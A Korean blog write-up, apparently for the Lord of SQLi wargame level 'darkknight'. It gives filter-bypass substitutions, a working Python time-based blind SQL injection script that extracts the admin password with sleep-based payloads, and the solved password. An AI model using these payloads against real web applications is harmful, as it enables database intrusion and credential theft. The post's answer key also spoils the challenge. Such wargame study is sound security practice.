본문 바로가기

Hacking/LOS

[LOS] 12. darkknight

728x90
반응형

 

  • time based로 풀어야하는 문제
  • 근데 파라미터 no에 ', substr, ascii, = 을 못쓰게 필터링 걸려있다.
    • ' -> 굳이 안써도 됨
    • substr -> mid
    • asciil -> ord
    • = -> like
  • 상기의 bypass 문자열로 우회가 다 가능함.

 

import requests

url ='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=' #url 주소 입력

def find_pw_len():
    pw_len=0
    while 1:
        pw_len=pw_len+1
        value = '1 or id like "admin" %26%26 if(length(pw) like {}, sleep(3), 1)%23'.format(pw_len) #반복하면서 pw의 글자수를 비교하는 Payload 코드 작성
        cookies={'PHPSESSID' : '내 세션'}
        response = requests.get(url+value, cookies=cookies)
        # print(response.url)
        if(response.elapsed.total_seconds() > 3):
            print("길이는? =",pw_len)
            break
        print("시도중 입니다!:",pw_len)
    return pw_len

def find_pw():
    pw_len=find_pw_len()
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ='1 or id like "admin" %26%26 if(ord(mid(pw,{},1)) like {}, sleep(3), 1)%23'.format(pw_value,ascii)
            cookies={'PHPSESSID' : '내 세션'}
            response = requests.get(url+value, cookies=cookies)
            # print(response.url)
            if(response.elapsed.total_seconds() > 2):
                string = string + chr(ascii)
                print("{}번 째의 pw의 값은!".format(pw_value),string)
                break
            print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
    print(string)
find_pw()

 

 

정답 : https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f 

 

https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=0b70ea1f

 

los.rubiya.kr

 

 

728x90
반응형

'Hacking > LOS' 카테고리의 다른 글

[LOS] 14. giant  (4) 2023.07.07
[LOS] 13. bugbear  (0) 2023.07.06
[LOS] 11. golem  (0) 2023.07.06
[LOS] 10. skeleton  (0) 2023.07.06
[LOS] 9. vampire  (0) 2023.07.06